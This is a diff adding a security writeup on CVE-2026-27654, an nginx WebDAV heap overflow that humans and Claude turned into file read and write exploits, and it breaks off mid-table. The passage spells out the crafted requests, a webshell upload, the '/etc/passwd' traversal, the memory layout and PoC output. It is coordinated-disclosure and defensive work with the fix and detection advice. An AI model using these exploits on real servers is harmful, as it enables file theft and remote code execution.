diff --git a/MADBugs/nginx-CVE-2026-27654/README.md b/MADBugs/nginx-CVE-2026-27654/README.md new file mode 100644 index 0000000..224198f --- /dev/null +++ b/MADBugs/nginx-CVE-2026-27654/README.md @@ -0,0 +1,595 @@ +# Claude + Humans vs nginx: CVE-2026-27654 + +>We'd like to acknowledge Claude, Anthropic Research, NGINX developers and F5 PSIRT for partnering with us on this. It was a pleasant experience. + +By now we know AI can find [real](https://blog.calif.io/p/mad-bugs-vim-vs-emacs-vs-claude) [vulnerabilities](https://blog.calif.io/p/mad-bugs-discovering-a-0-day-in-zero) and write [working](https://blog.calif.io/p/mad-bugs-claude-wrote-a-full-freebsd) [exploits](https://blog.calif.io/p/mad-bugs-feeding-claude-phrack-articles). That part is no longer surprising. + +The more interesting question is the human role. Where does human expertise still matter when the initial bug report is already correct? What separates a crash from a real exploit? What does collaboration look like in practice, on a real vulnerability with a real fix and a real disclosure? + +CVE-2026-27654 is a useful case. The bug needs a non-default config: `ngx_http_dav_module` compiled in, and a `location` combining `alias` with `dav_methods COPY` or `MOVE`. The exposed population is small. Inside that population the bug is severe. + +Claude flagged it correctly: a heap buffer overflow in `ngx_http_dav_copy_move_handler()`, driven by an unsigned underflow in `ngx_http_map_uri_to_path()` when the `Destination` header is shorter than the location prefix. Claude provided a working crash: + +``` +COPY /dav/x HTTP/1.1 +Host: localhost +Destination: /da <-- shorter than "/dav/" -> underflow +``` + +That crashes a worker. Whether it can do more than that is a harder question, and at least for now, answering it takes a human. + +What it does, when it works: it escapes the WebDAV root. The `alias` directive is supposed to be a jail; a COPY against `location /dav/ { alias /var/dav/uploads/; }` should only ever touch files under `/var/dav/uploads/`. The bug lets a remote attacker read or write files anywhere the worker UID can reach. + +Three of us worked through this with Claude independently, each in our own session, comparing notes between rounds. The independence mattered: the same prompt to two different Claude conversations produced one "impossible" and one working exploit (more on that under Round two). The first exploit out of the gate was a clean repro we could ship to F5; the refinements that followed came from looking at what each of us had built and asking which precondition felt least likely to exist on a real target. + +**Round one: aim high** ([PoC-1, §5](#5-poc-1-the-write-path)). Arbitrary file write with attacker-chosen content. PUT a webshell under the WebDAV root, then trigger the overflow on COPY to copy it to `/var/www/html/x.php`. Claude built it; it worked. But the heap groom needs the source-path buffer pushed into a separate `malloc()` block, which means a request URI over 4000 characters, which means the PUT must land in a directory tree twenty levels deep with ~200-character folder names. nginx builds that tree if you set `create_full_put_path on`, but "the server accepts arbitrarily long PUT paths" is not a precondition you find often. + +**Round two: give up on write** ([PoC-2, §6](#6-poc-2-the-read-path)). The question we put to Claude: + +> *We don't actually need to write our own bytes. If we control both the source and the destination of the COPY, can we copy a file that already exists, like `/etc/passwd`, into a download folder we can fetch it from?* + +Two of us asked independently. One Claude said it was impossible. The other produced a working exploit first try: a single COPY, short URI so the source path stays in the request pool adjacent to the destination, and the same overflow rewrites *both* paths at once. That became PoC-2. + +The first thing we tested after it worked was whether it was as clean as it looked. The draft of this writeup said the worker "never crashes." + +> *This is not true, right? Because the second PoC did crash workers if memcpy didn't hit that lucky condition.* + +It hadn't checked. We made it sweep all 16 alignment residues; two of them crash before any file is touched. The "never" became "on 14 of 16 alignments." + +Then the constraint. The traversal injected into the source path is 20 characters, fixed by the header structure. Claude's first count of how those 20 split was wrong: + +> *With a 3-level surviving prefix you spend 12 characters on `/../../../` and have 8 left for the filename. Is this a correct assessment?* + +It wasn't. `/../../../` is 10, not 12; `etc/passwd` is 10, not 8. (Note to self: never ask Claude to file our tax returns.) Ten and ten, and `etc/passwd` fits exactly. We asked whether the constraint itself could be stretched and the answer was: not by changing the URI length (both endpoints of the controlled window shift together), but yes by tuning the *header-key* lengths, which we ended up doing in §6.3. + +**Round three happened while we were writing this document** ([slash-padding variant, §5.6](#56-variant-slash-padding-when-merge_slashes-off-is-set)). We were fact-checking why the deep PUT tree in PoC-1 is unavoidable, and the chain went like this: + +> *Can you do something like this to artificially expand the length? `COPY /etc/../etc/../etc/../etc/../passwd HTTP/1.1`* + +No. nginx normalizes `..` before `r->uri.len` is set; the padding gets stripped. + +> *Does it also normalize the source path in `COPY `? We want a long source-path string to push it into its own malloc, but at the same time we want it to resolve to a short path on the filesystem. Is that possible?* + +That was the question that mattered. Claude tested `/.`, `//`, `%2e%2e`: all collapsed. Then it tried `merge_slashes off`. With that one directive, nginx stops collapsing `//` but the kernel still does (POSIX path resolution). So `/dav/` + 4000 slashes + `p.php` is a 4010-character URI to nginx and the same inode as `/dav/p.php` to `lstat()`. Worked first try. The deep tree, `create_full_put_path`, the long folder names: all gone, traded for one line of config that exists in the wild for unrelated reasons. + +So three variants, each one found by asking what's actually load-bearing in the previous one's preconditions. The most ambitious primitive came first and was the most expensive; the simplest deployment story came last and only because we were poking at why the expensive one was expensive. + +| | Primitive | Key constraint | Code | +|---|---|---|---| +| [§5 PoC-1](#5-poc-1-the-write-path) | write | `create_full_put_path on` + accepts deep PUT paths | [`poc-1/poc.py`](poc-1/poc.py) | +| [§5.6 variant](#56-variant-slash-padding-when-merge_slashes-off-is-set) | write | `merge_slashes off` | [`poc-1/poc_slashes.py`](poc-1/poc_slashes.py) | +| [§6 PoC-2](#6-poc-2-the-read-path) | read | none beyond `dav_methods COPY`, but 20-byte traversal constraint | [`poc-2/poc_src.py`](poc-2/poc_src.py) | + +**A pattern we noticed: left to itself, Claude reached for the most powerful primitive and accepted whatever preconditions came with it.** The first exploit was file write, the strongest thing the bug could give, and it worked, and it would also almost never apply to a real server. The two moves that made the bug *practically* dangerous were both human: stepping *down* to a weaker primitive (file read) to shed preconditions, and then much later, asking whether one of the original preconditions was even real. Claude could test those ideas faster than we could, but it didn't generate them. Maybe that's just because nobody told it that "works in a Docker container we built" is not the same as "works on a server someone else runs"; maybe that judgment is harder to teach than the heap layout. Either way, the division of labour was consistent: we picked which constraint to attack, it did the byte-level work to attack it. + +The issue was disclosed to F5, which fixed it and published an [advisory](https://my.f5.com/manage/s/article/K000160382) acknowledging: + +> Calif.io in collaboration with Claude and Anthropic Research for bringing this issue to our attention and following the highest standards of coordinated disclosure. + +| Date | Event | +|---|---| +| 2026-02-XX | Vulnerability discovered | +| 2026-03-10 | Reported to F5 / nginx security team | +| 2026-03-11 | F5 acknowledged the report | +| 2026-03-24 | nginx 1.29.7 released with [fix](https://github.com/nginx/nginx/commit/9739e755b8dd); F5 advisory [K000160382](https://my.f5.com/manage/s/article/K000160382) published; CVE-2026-27654 assigned | +| 2026-03-24 | Fix commit independently noticed at [spaceraccoon/vulnerability-spoiler-alert#102](https://github.com/spaceraccoon/vulnerability-spoiler-alert/issues/102) | +| 2026-04-10 | This writeup published | + +Two of those rows are the same date. The fix landed in public on the 24th; an AI-powered commit watcher read the diff the same day and produced a crashing PoC on its own, before any advisory text named the affected module. The patch window for this bug, the time between "fix is public" and "exploit is reproducible by someone watching commits", was zero days. + +That's the other half of what AI changes about vulnerability research, and it cuts the opposite direction from everything above. AI made finding and developing this exploit cheaper for us; it made reproducing the bug cheaper for everyone watching commits. Those two facts together collapse the patch window from both ends. Coordinated disclosure assumes a gap between fix and weaponization that is now an automation target. + +| | | +|---|---| +| **CVE** | [CVE-2026-27654](https://www.cve.org/CVERecord?id=CVE-2026-27654) | +| **Bug class** | Heap Buffer Overflow (CWE-122) via Integer Underflow (CWE-191) | +| **Affected** | nginx with `ngx_http_dav_module`, `alias` + `dav_methods COPY/MOVE` | +| **Fixed in** | [1.29.7](https://github.com/nginx/nginx/commit/9739e755b8dd) (2026-03-24) | +| **Vendor CVSS** | [8.2 HIGH](https://nvd.nist.gov/vuln/detail/CVE-2026-27654) (v3.1) / 8.8 HIGH (v4.0) | + +## CVE-2026-27654: nginx DAV Heap Overflow to Arbitrary File Read and Write + +1. [Summary](#1-summary) +2. [Impact](#2-impact) +3. [Recommendations](#3-recommendations) +4. [The Vulnerability](#4-the-vulnerability) +5. [PoC 1: The Write Path](#5-poc-1-the-write-path) +6. [PoC 2: The Read Path](#6-poc-2-the-read-path) +7. [References](#references) + +--- + +## 1. Summary + +WebDAV ([RFC 4918](https://datatracker.ietf.org/doc/html/rfc4918)) extends HTTP with file management methods. nginx's `ngx_http_dav_module` implements PUT, DELETE, MKCOL, COPY, and MOVE. COPY and MOVE take a `Destination` header naming the target path. The `alias` directive maps a URL prefix to a filesystem directory; all DAV operations are supposed to stay inside that directory. + +The DAV handler resolves the destination path by temporarily swapping `r->uri` with the `Destination` header value and calling `ngx_http_map_uri_to_path()`. That function appends the URI tail to the alias root with a `memcpy` whose count is `r->uri.len - alias`. When the `Destination` is shorter than the location prefix, the count underflows to near `SIZE_MAX`. On aarch64 glibc, there's a high chance (most source-pointer alignments) that this memcpy resolves to a bounded scattered write instead of a crash: roughly 130 bytes get copied into the request pool around the destination-path buffer, sourced from the header bytes surrounding `Destination`. The attacker chooses those bytes. + +The corruption window covers the destination path buffer and the bytes immediately preceding it in the request pool, which under a short request URI is the source path buffer. Both arguments to `ngx_copy_file()` can therefore be attacker-supplied: the destination becomes an absolute filesystem path with no `alias` prefix at all, and the source can be rewritten into a `..`-traversal that the kernel resolves at `open()` time. nginx's path traversal checks ran against the original `Destination` header and the original request URI; the corrupted strings exist only in heap memory and were never validated. + +`ngx_http_dav_module` is optional and not compiled by default; it requires `--with-http_dav_module` at build time. The vulnerable surface is any `location` block that combines `alias` with `dav_methods COPY` or `MOVE`. + +## 2. Impact + +Both primitives operate on absolute filesystem paths **outside** the configured WebDAV root. The `alias` root never appears in the corrupted path; its only role is its *length*, which sets how many characters of the escaped path the attacker controls (`root.len - alias_len - 15`). + +| Configuration | Primitive | Requests | Worker | PoC | +|---|---|---|---|---| +| `alias` + `dav_methods COPY` | file **read** outside the alias root | 1 | survives on most alignments | [§6](#6-poc-2-the-read-path) | +| above + `merge_slashes off` + one file under the alias root | file **write** outside the alias root | 1 (or 2 with PUT) | crashes after write | [§5.6](#56-variant-slash-padding-when-merge_slashes-off-is-set) | +| above (without `merge_slashes off`) + `dav_methods PUT` + `create_full_put_path on` | file **write** outside the alias root | 2 | crashes after write | [§5](#5-poc-1-the-write-path) | + +**Read primitive (PoC-2).** A single COPY request, with no file ever placed under the alias root, copies any file the worker UID can open to an attacker-chosen path. When the bounded memcpy path activates (most source alignments), the worker survives and re-enters keepalive. The nginx debug log records the source path *before* corruption, so the log shows a copy from a nonexistent file while `open()` reads `/etc/passwd`. Nothing in any nginx log mentions the file that was actually read. + +**Write primitive (PoC-1 and the §5.6 variant).** Get a file under the alias root, then COPY it out. The COPY's corrupted destination is `/var/www/html/x.php`; the file lands mode `0644`, which PHP-FPM will execute. The constraint is the parent directory: `/var/www/html` is `root:root 755` on a stock install, so the worker UID needs write access there (common on PHP CMS hosts where the docroot has been chowned to `www-data`). nginx writes the file and returns HTTP 204 before the worker crashes; with `master_process on` the master respawns it. + +The two write variants differ only in *how* the source-path buffer gets pushed into a separate `malloc()` block, which is what keeps it intact while the destination is corrupted. PoC-1 does it the brute-force way: a 4030-character request URI built from a deep PUT into twenty nested directories, requiring `create_full_put_path on`. The §5.6 variant does it by exploiting a parser asymmetry: with `merge_slashes off`, nginx keeps consecutive slashes in `r->uri` but the kernel collapses them at `lstat()` time, so a URI of `/dav/` plus 4000 slashes plus `p.php` is 4010 characters to the allocator and one short file to the filesystem. One non-default config line replaces the deep tree, `create_full_put_path`, and the requirement that nginx accept arbitrarily long folder names. + +The exposed population is narrower than "all nginx WebDAV deployments": the bug needs `alias` specifically (not `root`) combined with DAV COPY or MOVE. Within that population the bar is low. + +**Both primitives are tightly bounded by the target's nginx config.** The attacker does not get to choose the path-length constraint; it falls out of `root.len` and `alias`, which are whatever the deployed `nginx.conf` says. The destination path constraint is `root.len - alias - 15` characters, period. With a short alias root (say, `alias /srv/dav/`, 9 chars) and `location /d/` (3 chars), the constraint is `9 - 3 - 15 = -9`: there is no exploit. Both PoCs use a 39-character alias root, realistic for containerized or deeply-nested deployments but not universal. + +The read primitive is constrained twice over. The destination-path constraint limits where you can put the leaked copy. The source-path traversal must fit a separate constraint (in PoC-2's layout, 20 bytes) that includes both the `..` segments needed to escape the surviving prefix's directory depth *and* the path from filesystem root to the target file: + +| Surviving prefix depth | Traversal | Bytes left for path-from-root | Reachable | +|---|---|---|---| +| 2 levels | `/../../` (7) | 13 | most things in `/etc`, `/var/log/syslog` | +| 3 levels (PoC-2) | `/../../../` (10) | 10 | `etc/passwd`, `etc/shadow`, `etc/hosts` | +| 4 levels | `/../../../../` (13) | 7 | almost nothing useful | +| 5 levels | `/../../../../../` (16) | 4 | nothing | + +The depth is fixed by the alias root's first ~23 characters, which the attacker does not choose. A target with `alias /opt/myapp/data/storage/dav/...` has a 5-level surviving prefix and is effectively unreadable even though the underflow fires. An attacker against a real target gets exactly one constraint and has to find a useful file that fits it. + +## 3. Recommendations + +**Upgrade to nginx 1.29.7 or later.** The [fix](https://github.com/nginx/nginx/commit/9739e755b8dd) rejects COPY/MOVE requests where the `Destination` URI is shorter than the alias location name: + +```c +if (clcf->alias + && clcf->alias != NGX_MAX_SIZE_T_VALUE + && duri.len < clcf->alias) +{ + ngx_log_error(NGX_LOG_ERR, r->connection->log, 0, + "client sent invalid \"Destination\" header: \"%V\"", + &dest->value); + return NGX_HTTP_BAD_REQUEST; +} +``` + +From the [CHANGES](https://nginx.org/en/CHANGES) entry: + +> Security: a buffer overflow might occur while handling a COPY or MOVE request in a location with "alias", allowing an attacker to modify the source or destination path outside of the document root (CVE-2026-27654). + +**If you cannot upgrade immediately:** + +- Remove `COPY` and `MOVE` from `dav_methods` in any `location` that uses `alias`. PUT, DELETE, and MKCOL are not affected. +- Audit configurations for the combination of `alias` and `dav_methods COPY` or `MOVE`. The `root` directive is not affected. + +**Detection.** Look for COPY or MOVE requests where the `Destination` header is shorter than the matched location prefix. In access logs this appears as a request with an unusually short `Destination` value (one to four characters). Worker crashes immediately following a 204 response to COPY are a secondary signal for the write primitive; the read primitive crashes before any file I/O on a small fraction of source alignments and is silent on the rest. + +## 4. The Vulnerability + +The DAV handler [`ngx_http_dav_copy_move_handler`](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/modules/ngx_http_dav_module.c#L536) maps both the source and destination URIs to filesystem paths by calling `ngx_http_map_uri_to_path()` twice: once with the original `r->uri` ([line 693](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/modules/ngx_http_dav_module.c#L693)), then again after [swapping `r->uri`](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/modules/ngx_http_dav_module.c#L701) for the parsed `Destination` value ([line 703](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/modules/ngx_http_dav_module.c#L703)). The swap does not re-validate the new URI's length against the alias. + +`ngx_http_map_uri_to_path()` builds the path by copying the alias root and then appending the URI's tail. The "tail" is the URI with the location prefix stripped: for a request to `/dav/foo/bar` against `location /dav/`, nginx wants to append `foo/bar` to the alias root. It computes that by skipping the first `alias` bytes of the URI, where `alias` is the length of the location prefix: + +| Variable | What it is | PoC value | +|---|---|---| +| `alias` | length of the `location` prefix | `len("/dav/") = 5` | +| `duri` | the parsed `Destination` header value | `"/da"`, so `duri.len = 3` | +| `r->uri` | nginx's current-URI struct, swapped to `duri` for the dest map | `r->uri.len = duri.len = 3` | + +The append at [line 1987](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/ngx_http_core_module.c#L1987) is: + +```c +last = ngx_copy(last, r->uri.data + alias, r->uri.len - alias); + ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^ + skip the prefix copy what's left +``` + +`ngx_copy` is a thin wrapper around `memcpy`. The third argument is the byte count: `r->uri.len - alias` = "URI length minus prefix length" = "how many bytes are left after the prefix". For a normal URI like `/dav/foo` that's `8 - 5 = 3` bytes (`foo`). For the swapped-in `duri = "/da"`, it's `3 - 5 = -2`, cast to `size_t` as `0xfffffffffffffffe`. + +The deficit (how many bytes the `Destination` is *short* of the prefix) and the count are the same subtraction with the sign flipped: + +``` +deficit = alias - duri.len = 5 - 3 = 2 (how short the Destination is) +count = duri.len - alias = 3 - 5 = -2 (how many bytes "remain": negative) +``` + +The call becomes `memcpy(path + root.len, duri + alias, ~SIZE_MAX)`. + +> The PoCs use `Destination: /da` (deficit = 2), but `/dav` (deficit = 1) triggers the same memcpy with one fewer crash residue (15/16 alignments instead of 14/16). + +`path` here is the destination-path buffer that `ngx_pnalloc` just returned from the **request pool** (`r->pool`, a 4096-byte bump-allocated arena that lives for one request). `duri` points into the **HTTP header buffer** (`c->buffer`, allocated from the connection pool when nginx first read the request line); it is the address of the `/` in `Destination: /da` inside the raw, parsed-in-place header bytes. These two are completely separate allocations, roughly 70 KiB apart in our runs: + +``` + heap, low addresses + ┌──────────────────────────────────┐ + │ c->buffer (header buffer, 1 KB) │ duri.data points here, at the '/' in "/da" + │ ...X-Pad: /var/.../x.php\0\n... │ the bytes BEFORE duri.data are the X-Pad + │ ...Destination: /da\0... │ header that the attacker sent + └──────────────────────────────────┘ + ~70 KiB + ┌──────────────────────────────────┐ + │ r->pool (request pool, 4 KB) │ path->data points here + │ ...[src path][dest path][free] │ memcpy WRITES here, around dest path + └──────────────────────────────────┘ + heap, high addresses +``` + +So the memcpy is a **cross-allocation copy**: it reads attacker-chosen bytes from the header buffer and writes them into the request pool. The two regions never overlap; neither pointer ever needs to walk far from where it started for the attack to work. + +### Why memcpy with a near-SIZE_MAX count usually doesn't crash + +On aarch64 the IFUNC resolves to glibc's `__memcpy_generic`. To see why a 2^64-byte count doesn't immediately fault, it helps to know how the function is structured for normal inputs: + +1. **Compute end pointers**: `srcend = src + count`, `dstend = dst + count`. These anchor the "last bytes" copies later. +2. **Dispatch on size**: tiny copies (< 16 bytes) use one or two scalar loads; small copies (< 128 bytes) use a few SIMD load/store pairs; large copies fall through to the long-copy path. +3. **Long-copy path**: align `src` down to a 16-byte boundary, **add the alignment offset back to `count`** (so the loop accounts for the bytes "wasted" reaching alignment), do one unaligned head store, then enter the main loop copying 64 bytes per iteration with aligned loads. +4. **Tail**: when the loop drains, copy the last 64 bytes using `[srcend - 64]` and `[dstend - 64]` addressing. This handles the unaligned remainder. The head and tail deliberately overlap the loop's range so no edge-case gap is left. + +The danger is step 3's main loop: with `count` near 2^64 it would iterate forever, walking `src` off the end of the header buffer's page and faulting. The function survives because two arithmetic wraps, in steps 1 and 3, tame the count before the loop is reached. The walkthrough below uses the PoC's parameters: `alias = 5`, `duri.len = 3`, deficit = `alias - duri.len` = **2**, so `count = -2`. + +**Wrap 1 (step 1): end pointers stay local.** `srcend = src + 0xfffffffffffffffe` wraps to `src - 2`, and likewise `dstend = dst - 2`. Every instruction that reads from `[srcend - N]` or writes to `[dstend - N]` is therefore reaching a few bytes *below* where it started, not exabytes away. The tail-copy machinery is already pointed somewhere safe. + +**Wrap 2 (step 3): the count becomes tiny.** The alignment-fixup `count += src & 0xf` adds a value in `[0, 15]`. With `count = -2` and `src & 0xf >= 2`, the sum wraps past zero into the small positive range (e.g. `-2 + 14 = 12`). The main loop is skipped because the count is now too small to enter it, and the function falls straight through to the tail. + +The result: no loop iteration runs, and the only stores that fire are the head, two leftover prologue flushes, and the 64-byte tail. The head and prologue write *forward* from `dst` into unallocated pool space and are noise. **The tail writes backward.** It's anchored at `dstend - 64`. Since `dst = path + root.len` (one past the root-prefix copy) and `dstend = dst - deficit = dst - 2`, the tail starts at `dst - 2 - 64 = path + root.len - 66`. With `root.len = 39` that's `path[-27]`: 27 bytes reach behind the buffer into whatever the request pool allocated immediately before it, and the remaining 37 bytes of the 64 land inside. + +That backward reach is the entire exploit. What sits in those 27 bytes depends on the previous `ngx_pnalloc` call, which was the source-path mapping. Whether the source path lives in the request pool (adjacent, gets corrupted too) or in a separate `malloc` block (far away, safe) is decided by its size relative to `r->pool->max = 4016` bytes. The request URI length controls that size. §5 and §6 show the exact byte landings for each layout. + +The condition for wrap 2 holds on most of the 16 possible source alignments; on the few it doesn't (when `src & 0xf` is less than the deficit), the count stays huge, the loop runs, and the worker SIGSEGVs in step 3 before any file is touched. + +| | PoC-1 (§5) | PoC-2 (§6) | +|---|---|---| +| URI length | ~4030 chars | 15 chars | +| Source path size | ~4065 B (> 4016) | 50 B (<= 4016) | +| Source path lives in | malloc | request pool | +| `dest_path[-27..-1]` overlaps | `ngx_pool_large_t` tracker | source path tail | +| Source path after overflow | intact | rewritten to `/../../../etc/passwd` | +| Primitive | write (copy what you uploaded) | read (copy what already exists) | +| Worker | crashes after 204 | survives on most alignments | + +--- + +## 5. PoC 1: The Write Path + +Two unauthenticated requests against a WebDAV location with `alias` + `dav_methods PUT COPY` + `create_full_put_path on`. The PUT uploads a PHP webshell into a deeply nested directory under the alias root. The COPY redirects that file to `/var/www/html/x.php`. + +``` +PUT /dav/d00_xxx...xxx/d01_xxx...xxx/.../d19_xxx...xxx/p.php HTTP/1.1 +Host: 127.0.0.1:9080 ^^^^^^^^^^^^^^ +Content-Length: 29 ~4030-char URI: 20 segments + of ~200 chars each. This + pushes the source-path + allocation past pool->max. + + ----- nginx returns 201 Created, then on the same connection: ----- + +COPY /dav/d00_xxx...xxx/d01_xxx...xxx/.../d19_xxx...xxx/p.php HTTP/1.1 +Host: 127.0.0.1:9080 +X-Pad: /var/www/html/x.php <-- last 19 bytes become dest_path[0..18] +Destination: /da <-- 3 chars vs alias /dav/ (5) -> underflow +``` + +`X-Pad` is an arbitrary header name the attacker invents. nginx parses it, stores it in the headers list, and ignores it. Its job is to put the bytes `/var/www/html/x.php` at a specific offset in the header buffer: immediately before `Destination` so that the memcpy tail picks them up. Any header name works; the value's position is what matters. + +### 5.1 Configuration requirements + +| Constraint | Detail | +|---|---| +| `dav_methods PUT COPY` | PUT to upload the payload, COPY to escape with it. | +| `create_full_put_path on` | The deep PUT path needs nginx to create intermediate directories. | +| Alias root length | `root.len >= len(target) + alias + 15`. With `/dav/` (5) and a 19-char target: `root.len >= 39`. The PoC uses `/home/ubuntu/aaa...a/` (39 chars). | +| `/var/www/html` writable by worker | Default Debian/Ubuntu: `root:root 755` (fails). Common on PHP CMS hosts where the docroot was chowned to `www-data`. The PoC's Dockerfile creates this directory; on a real target this is the precondition that decides whether the write primitive is interesting. | +| PHP runtime serving `/var/www/html` | PHP-FPM does not check `+x`; the file lands as `0644` and is executable. | + +### 5.2 Memory layout + +The deep PUT path creates a request URI of ~4030 characters. When the COPY arrives with the same URI, the source-path mapping at [`dav_module.c:693`](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/modules/ngx_http_dav_module.c#L693) computes: + +``` +source_path size = root.len + uri.len - alias + 1 = 39 + 4030 - 5 + 1 = 4065 bytes +``` + +The cutoff for in-pool allocation is `r->pool->max`, set at pool creation to `min(request_pool_size - sizeof(ngx_pool_t), NGX_MAX_ALLOC_FROM_POOL)` = `min(4096 - 80, 4095)` = **4016** ([`ngx_palloc.c:34`](https://github.com/nginx/nginx/blob/release-1.29.5/src/core/ngx_palloc.c#L34)). 4065 > 4016, so `ngx_pnalloc` calls `ngx_palloc_large()` which calls `malloc()`. The source path lands in a separate heap block. + +`ngx_palloc_large()` leaves a footprint, though: it allocates a 16-byte `ngx_pool_large_t {ngx_pool_large_t *next; void *alloc;}` tracker node *in the request pool* before returning the malloc'd block. The next `ngx_pnalloc`, for the destination path, returns the bytes immediately after that tracker. The destination-path size is computed by the same formula, but with the swapped-in `Destination` value as the URI: + +``` +dest_path size = root.len + duri.len - alias + 1 = 39 + 3 - 5 + 1 = 38 bytes +``` + +38 ≤ 4016, so dest_path stays in the pool. + +``` + malloc heap (a third allocation; not the + header buffer, not the request pool) + ┌────────────────────────────────────┐ + │ source_path (4065 B) ← UNTOUCHED │ + │ "/home/ubuntu/aaa.../d00_.../p.php"│ + └────────────────────────────────────┘ + + request pool (r->pool, 4096 bytes, max=4016) + ┌─────────┬────────────────────┬───────────────────────┬──────┐ + │ prior │ ngx_pool_large_t │ dest_path (38 B) │ free │ + │ data │ {next, alloc} 16 B │ │682 B │ + └─────────┴────────────────────┴───────────────────────┴──────┘ + ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑ ↑↑↑ ↑↑↑↑ + tail store: dest[-27..36] = HERE forward stores: dest[39..] + land in free space (benign) +``` + +### 5.3 What memcpy does + +The `Destination: /da` header gives `duri.len = 3`, `alias = 5`, deficit = 2. The destination-path mapping at L703 calls: + +``` +memcpy(dest_path + 39, duri.data + 5, 0xfffffffffffffffe) +``` + +`__memcpy_generic` wraps `dstend` to `dest_path + 37` and the count to `(src & 0xf) - 2`. The bounded tail writes 64 bytes at `dest_path[37 - 64 .. 37 - 1] = dest_path[-27..36]`, sourced from `duri.data[3 - 64 .. 3 - 1] = duri[-61..2]`, the parsed header bytes immediately preceding `/da`. The byte mapping is `dest_path[i] = duri[i - root.len + alias] = duri[i - 34]`. + +**What we want is for `dest_path` to read as `/var/www/html/x.php` to anything that treats it as a C string.** That means controlling `dest_path` from byte 0 onward, and getting a `\0` immediately after the path. The byte mapping tells us where to place each: + +``` +dest_path[i] = duri[i - 34] so dest_path[0] = duri[-34] + dest_path[1] = duri[-33] + ... +``` + +So the *first* byte of the corrupted path comes from `duri[-34]`, i.e., 34 bytes before the `/` in `/da` in the raw header buffer. Walking backward from `duri[0]`, the bytes between the X-Pad value and `/da` are fixed by the HTTP wire format and nginx's in-place parsing ([ngx_http_request.c:1507](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/ngx_http_request.c#L1507) zeroes the `\r` after each value, [:1503](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/ngx_http_request.c#L1503) zeroes the `:` after each key): + +``` + duri[-15] duri[-14] duri[-2] duri[-1] duri[0] + | | | | | +...X-Pad: \0 \n D e s t i n a t i o n \0 / d a ... + ^ ^ + was \r was : + (parser-zeroed) (parser-zeroed) + |<------------------ 15 bytes ------------------->| +``` + +The 15 bytes between `duri[-15]` and `duri[-1]` are protocol overhead: 1 space + 1 NUL (was `:`) + 11 chars of `Destination` + 1 `\n` + 1 NUL (was `\r`). DAV always uses the literal header name `Destination`, so the 15 is a constant. That means: + +- `duri[-15]` is the first NUL we can't avoid. It lands at `dest_path[-15 + 34] = dest_path[19]`. **The C string is forcibly terminated at byte 19.** +- `duri[-16]` through `duri[-34]` are the last 19 bytes of the X-Pad value (the only attacker-controlled bytes between the two NULs). They land at `dest_path[18]` down to `dest_path[0]`. **Those 19 bytes are the entire path.** + +So the constraint is **`root.len - alias - 15` characters**: with `root.len = 39` and `alias = 5`, that's 19. The PoC sends `X-Pad: /var/www/html/x.php` (19 chars exactly), and `dest_path` reads as `/var/www/html/x.php\0\nDestination\0 /da...` to `printf` and `open()` alike. + +**What if you want a longer target path?** The 15 is fixed and `alias` is set by the target's `location` block, so the only knob is `root.len`. A longer alias root shifts `dest_path[0]` to a more-negative `duri` offset, deepening the controlled window. With `root.len = 50` you'd get `50 - 5 - 15 = 30` characters, enough for `/var/www/wordpress/wp-load.php`. **The attacker doesn't control `root.len`**; it's whatever the deployed nginx config says. Longer alias paths are common (containerized deployments often use paths like `/opt/app/data/uploads/webdav/`), but it's a property of the target, not a parameter of the attack. + +The forward stores write `dest_path[39..104]` from `duri[5..70]` (bytes after `/da\r\n`, mostly buffer slack). They land in pool free space. + +The tail's lower half (`dest_path[-27..-1]`) overwrites the `ngx_pool_large_t` tracker, which is what crashes the worker after the file is written (step 6 below). + +### 5.4 Sequence + +1. PUT lands inside the alias root. nginx creates the directory tree (`create_full_put_path`) and writes the body. Returns 201. +2. COPY arrives. Source path is mapped (4065 bytes, malloc). Destination path is mapped (underflow fires). +3. `lstat(source_path)` succeeds: the source path is intact in its malloc block, untouched by the corruption. +4. `ngx_copy_file(source_path, "/var/www/html/x.php")`: opens source for read, opens dest with `O_CREAT|O_TRUNC` and the source's mode bits (`0664 & ~umask = 0644`), copies the bytes. +5. nginx returns HTTP 204. +6. Building the response calls `ngx_palloc_large()` again, which walks the corrupted `large` list and dereferences `large->next->alloc`. SIGSEGV at [`ngx_palloc.c:228`](https://github.com/nginx/nginx/blob/release-1.29.5/src/core/ngx_palloc.c#L228). + +### 5.5 Reproducing it + +``` +$ docker build -t cve-2026-27654-poc1 poc-1/ +$ docker run --rm cve-2026-27654-poc1 +[*] root.len=39 alias=5 controlled=19 +[*] target = /var/www/html/x.php (19 chars) + +[*] URI length = 4030, source path size = 4065 bytes (>4016: True) + +PUT: HTTP/1.1 201 Created +COPY: HTTP/1.1 204 No Content + +worker_exited: True +target_exists: yes +target_mode: 0o644 +target_size: 29 +target_match: True + +--- target content --- + +``` + +`poc-1/` contains: + +- `Dockerfile`: builds nginx 1.29.5 with `--with-http_dav_module` on Ubuntu 24.04 aarch64, creates `/var/www/html`, runs `poc.py` as the container CMD. +- `nginx.conf`: the vulnerable surface (`alias` 39 chars + `dav_methods PUT COPY` + `create_full_put_path on`). +- `poc.py`: sends both requests, verifies the file landed, dumps mode/content/sha256. +- `nginx-merge-slashes-off.conf`, `poc_slashes.py`: the slash-padding variant below. + +### 5.6 Variant: slash-padding (when `merge_slashes off` is set) + +The deep PUT path is the worst part of this PoC: it needs `create_full_put_path on` and an nginx that will accept ~200-character directory names twenty levels deep. There's a way to get the same source-path isolation without any of that, but it trades for a different config requirement. + +If the target has [`merge_slashes off`](https://nginx.org/en/docs/http/ngx_http_core_module.html#merge_slashes) in its `http {}` block, nginx stops collapsing consecutive slashes in the request URI. A URI like `/dav/` followed by 4000 slashes followed by `p.php` survives normalization at full length. The kernel, on the other hand, *does* collapse slashes (POSIX path resolution treats multiple `/` as one `/`). So the same string is two different lengths to two different layers: + +| Layer | Sees | Length | Effect | +|---|---|---|---| +| nginx URI parser | `/dav//////...///p.php` | `r->uri.len` ≈ 4010 | source path = 39 + 4010 - 5 + 1 = 4045 > 4016 → 